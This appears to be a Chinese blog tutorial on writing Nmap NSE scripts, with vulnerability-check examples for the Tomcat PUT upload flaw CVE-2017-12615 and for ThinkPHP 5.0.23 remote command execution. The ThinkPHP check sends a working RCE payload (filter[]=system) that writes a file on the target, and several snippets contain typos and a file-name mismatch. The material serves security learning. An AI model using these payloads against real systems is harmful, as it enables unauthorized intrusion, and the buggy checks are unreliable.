Nmap介紹
Nmap是一個強大的掃描工具,是一個開源的工具(欽佩開源開發者)
腳本位置位於:
Ubuntu:
/usr/share/nmap/scripts/
MAC:
/usr/local/Cellar/nmap/7.70/share/nmap/scripts
看來Mac使用Brew下載的東西都在 /usr/local/Cellar/ 里面

自帶的腳本數量很多
接下來是他的腳本參數
SCRIPT SCAN:
-sC: equivalent to --script=default
--script=<Lua scripts>: <Lua scripts> is a comma separated list of
directories, script-files or script-categories
--script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
--script-args-file=filename: provide NSE script args in a file
--script-trace: Show all data sent and received
--script-updatedb: Update the script database.
--script-help=<Lua scripts>: Show help about scripts.
<Lua scripts> is a comma-separated list of script-files or
script-categories.
-sC
是指采用默認配置掃描與--script=default等價
--script=腳本名
(一般位於Scripts目錄下)
ls | sed 's/.nse//' > name.list
可以快速將我們所有的腳本名字整出來

--script-args=ker1=value1,key2=value2
該參數是用來傳遞腳本里面的參數
-–script-args-file=filename
使用文件夾來為腳本提供參數
--script-trace
如果沒有設置該參數,則所有的腳本收發請求過程都會顯示
--script-updatedb
Script目錄自帶一個script.db,該文件中保存了當前Nmap可用的腳本類似於一個小型數據庫,如果我們開啟nmap並且調用了此參數,則nmap會自行掃描scripts目錄中的擴展腳本,進行數據庫更新
--script-help=腳本名
,調用該參數后,Nmap會輸出該腳本名稱對應的腳本使用參數,以及詳細介紹信息。
-sC參數調用的默認腳本
https://nmap.org/nsedoc/categories/default.html
確實挺多的
腳本執行規則
Nmap在調用任何腳本之前都會執行nse_main.lua
這個腳本,里面定義了一些腳本的執行規則,首先是在大約64行左右吧

prerule //再掃描任何主機之前,prerule函數執行一次
hostrule //在掃描一個主機之后運行一次
portrule //在掃描一個主機的端口后運行一次
postrule //在全部掃描完畢后運行一次
可以寫一個腳本實驗一下
prerule=function()
print("prerule()")
end
hostrule=function()
print("hostrule()")
end
portrule=function()
print("portrule()")
end
action=function()
print("action()")
end
postrule=function()
print("postrule()")
end
使用一下實驗一下結果

action函數是在portrule
或hostrule
返回true后自動執行的函數
local stdnse = require "stdnse"
prerule=function()
end
hostrule=function(host)
return true
end
portrule=function(host,port)
return true
end
action = function()
print("[*]action ...")
end
postrule=function()
end
主機/端口
 
在進行主機掃描的時候我們會執行hostrule
函數,這個還有一個形參,就是host(在Lua語言中它是一種叫做 表 的數據類型,就當他是php中的關聯數組吧),里面包含一些信息

同樣的對於portrule
也是一樣的

不過有兩個參數host
與port
優化輸出格式--表
在stdnse包中有一個函數叫output_table(),它能夠返回一個table數據類型,通過操作這個table,將Key->Value的對應關系數據或列表數據放入,再return,就可以輸出漂亮的格式
local stdnse = require "stdnse"
http_table = stdnse.output_table()
prerule=function()
end
hostrule=function(host)
end
portrule=function(host,port)
if(port.number == 53 or port.number == 443)then
http_table.http_host_mac = stdnse.format_mac(host.mac_addr)
return true
end
end
action=function()
return http_table
end
postrule=function()
end

Http包的使用
一般做漏洞驗證的時候,就需要使用Http包來發送請求信息,最后根據結果來判斷是否有漏洞
- 響應表
響應表中主要涵蓋了:HTTP狀態碼、HTTP響應頭、HTTP版本、HTTP原始響應頭、Cookies、HTTP響應主體內容(body)等
| Response:
| status: 200
| header:
| content-length: 0
| allow: POST,OPTIONS,HEAD,GET
| connection: close
| content-type: text/html
| server: Apache/2.4.29 (Debian)
| date: Fri, 06 Jul 2018 07:02:13 GMT
| ssl: false
| body:
| cookies:
|
| status-line: HTTP/1.1 200 OK\x0D
|
| rawheader:
| Date: Fri, 06 Jul 2018 07:02:13 GMT
| Server: Apache/2.4.29 (Debian)
| Allow: POST,OPTIONS,HEAD,GET
| Content-Length: 0
| Connection: close
| Content-Type: text/html
|
|_ version: 1.1
- Options表
Options表主要用於設置HTTP請求時的超時時間、Cookie、請求頭、HTTP認證、頁面緩存、地址類型(IPV4/IPV6)、是否驗證重定向
{
timeout:
header:{"Content-Type":"",...},
cookies:{{"name","value","path"},...},
auth:{username:"",password:""},
bypass_cache:true,
no_cache:true,
no_cache_body:true,
any_af:true,
redirect_ok:true
}
- 發送http請求
使用http包中的generic_request
可以發送HTTP請求
參數如下
host : host表
port : port 表
method : HTTP方法,例如:GET、POST、HEAD…
path : 請求路徑,默認是根路徑“/”
options : 用於設置請求相關的Cookie、超時時間、header
發送OPTIONS請求獲取目標服務支持哪些HTTP方法
local stdnse = require("stdnse")
local http = require("http")
prerule=function()
end
hostrule=function()
return false
end
portrule=function(host,port)
if(port.number == 12345) then
return true
end
end
action=function(host,port)
local result = http.generic_request(host,port,"OPTIONS","/",nil)
if(result.status == 200 ) then
local allow=stdnse.oupput_table()
allow.allowMethod=result.header["allow"]
return allow
end
en
發送Get請求(就是generic_request函數少了一個、method參數)
local stdnse = require "stdnse"
local http = require "http"
prerule=function()
end
hostrule=function(host)
return false
end
portrule=function(host,port)
if(port.number == 80) then
return true
end
return false
end
action = function(host,port)
local result = http.get(host,port,"/nmap")
if(result.status == 404)then
local status = stdnse.output_table()
status.response_line = result["status-line"]
return status
end
end
postrule=function()
end
發送POST請求
參數如下
host : host表
port : port 表
path : 請求路徑,默認是根路徑“/”
options : 用於設置請求相關的Cookie、超時時間、header
ignored : 是否忽略向后兼容性
postdata : post提交數據,可以是一個表,也可以是一個字符串,具體形式如下:
postdata有兩種表現形式
username=admin&password=admin
或者:
local data = {}
data.username = "admin"
data.password = "admin"
local stdnse = require("stdnse")
local http = require("http")
hostrule=function(host)
return false
end
portrule=function(host,port)
if(port.number == 12345) then
return true
end
return false
end
action=function(host,port)
local data = {}
data.username = "admin"
data.password = "admin"
local result = http.post(host,port,"/1.php",nil,true,data)
if(result.status==200) then
local message = stdnse.output_table()
message.response_line= result["body"]
return message
end
end
像http.generic_request
以及http.post
和http.get
等都返回一個響應表,我們可以從中取出一些數據來驗證POC或者EXP等是否有效
簡單腳本編寫
編寫CVE-2017-12615
的驗證腳本
這里面我用了Vulhub
的環境來進行復現
這個漏洞就是利用PUT像服務器惡意上傳文件,並且上傳成功后的狀態碼為201

local stdnse = require("stdnse")
local http = require("http")
local
hostrule=function()
end
portrule=function(host,port)
local num_port = {80,8080,8090,8899}
for test in pairs(num_port)do
if(port.number == num_port[test])then
return true
end
end
end
action=function(host,port)
local poc_string="Mikasa"
local file_name=string.format("/%d.jsp",math.random(9999))
local put_upload=http.put(host,port,file_name .. "/",nil,poc_string)
local output=stdnse.output_table()
if(put_upload.status == 201)then
output.shell_name=file_name
return output
end
return false
end
postrule=function()
end


腳本進階編程
上面的例子是根據我們http狀態碼來進行判斷的,但是在檢測的時候大多數都是對響應內容的排查,這時候就要就要學習一下字符串操作函數以及HTTP包自帶的函數
response_contains函數,用於在響應表中匹配字符串,參數如下:
response : 響應表,可以是(http.get、http.post、http. pipeline_go、http.head等函數的返回值)
pattern : 字符串匹配模式,可參考lua手冊
case_sensitive : 是否區分大小寫,默認值為false,不區分
返回值:
match_state : 匹配成功為true,匹配失敗為false
Lua字符匹配


lua中的特殊字符是%.^$+-*?
比如上方我們可以驗證是否我們上傳的文件內容是否是正確的
local stdnse = require("stdnse")
local http = require("http")
local
hostrule=function()
end
portrule=function(host,port)
local num_port = {80,8080,8090,8899}
for test,test233 in pairs(num_port)do
if(port.number == test233)then
return true
end
end
end
action=function(host,port)
local shell_name=string.format("%sQAQ%d.jsp","/",math.random(9999))
local put_upload=http.put(host,port,shell_name .. "/",nil,"CVE-2017-12615")
local status=stdnse.output_table()
if(put_upload.status== 201)then
status.shell_name=shell_name
local get_test=http.get(host,port,shell_name)
if(get_test and http.response_contains(get_test,"CVE%-2017%-12615"))then
return status
end
return false
end
return false
end
更多庫可以參考
https://nmap.org/nsedoc/lib/
ThinkphpRce檢測
上面都是根據別人博客學習總結的,自己也想寫一個,但不知道寫什么,於是就拿來寫Thinkphp吧
local stdnse = require("stdnse")
local http = require("http")
prerole=function()
end
hostrule=function()
end
portrule=function(host,port)
local port_num={80,443,8080}
for test,ppp in pairs(port_num)do
if(port.number == ppp)then
return true
end
end
end
action=function(host,port)
local uri="/index.php?s=captcha"
local data = {}
data["_method"] = "__construct"
data["filter[]"] = "system"
data["method"] = "get"
data["server[REQUEST_METHOD]"] = "echo Mikasa > 2.txt"
local qqqq=http.post(host,port,uri,nil,true,data)
local uri="/2.txt"
local status = stdnse.output_table()
local post_data =http.get(host,port,uri)
if(post_data.status == 200 )then
status.vlun="ThinkPhpRce"
return status
end
end

這個其實不完美,哎,我的水平就這樣...
Nmap完整腳本
一個完整的NSE腳本應該包含以下字段
description:腳本的描述
以及catagories:腳本的分類
和rule:腳本觸發規則
還有action:腳本執行內容
上面完整的代碼如下
local stdnse = require("stdnse")
local http = require("http")
local vulns = require("vulns")
description = [[Chink ThinkPhp5.0.23-Rce]]
author = "Mikasa"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln"}
local vuln = {
title = "ThinkPhp5.0.23-Rce",
state = vulns.STATE.NOT_VULN,
description = [[Chink ThinkPhp5.0.23-Rce]],
IDS = {
CVE = ""
},
references = {
""
},
dates = {
disclosure = { year = '2020', month = '3', day = '08' }
}
}
prerole=function()
end
hostrule=function()
end
portrule=function(host,port)
local port_num={80,443,8080}
for test,ppp in pairs(port_num)do
if(port.number == ppp)then
return true
end
end
end
action=function(host,port)
local vuln_report = vulns.Report:new(SCRIPT_NAME,host,port)
local uri="/index.php?s=captcha"
local data = {}
data["_method"] = "__construct"
data["filter[]"] = "system"
data["method"] = "get"
data["server[REQUEST_METHOD]"] = "echo Mikasa > 5.txt"
local qqqq=http.post(host,port,uri,nil,true,data)
local uri="/2.txt"
local status = stdnse.output_table()
local post_data =http.get(host,port,uri)
if(post_data.status == 200 )then
--status.vlun="ThinkPhpRce"
vuln.state = vulns.STATE.VULN
--return status
return vuln_report:make_output(vuln)
end
end

這里我們用漏洞報告的形式取代了以前的output_table()
關於Nmap腳本的學習就暫時到這里了
參考資料
https://github.com/shark1990/nmapScripts/blob/master/webLogic/CVE-2017-10271/CVE-2017-10271.nse
https://zhuanlan.zhihu.com/p/40681245
https://zhuanlan.zhihu.com/p/40677048
https://zhuanlan.zhihu.com/p/40678654
https://zhuanlan.zhihu.com/p/40681245
https://lengjibo.github.io/nmapnse/
多謝各位大佬寫的一系列文章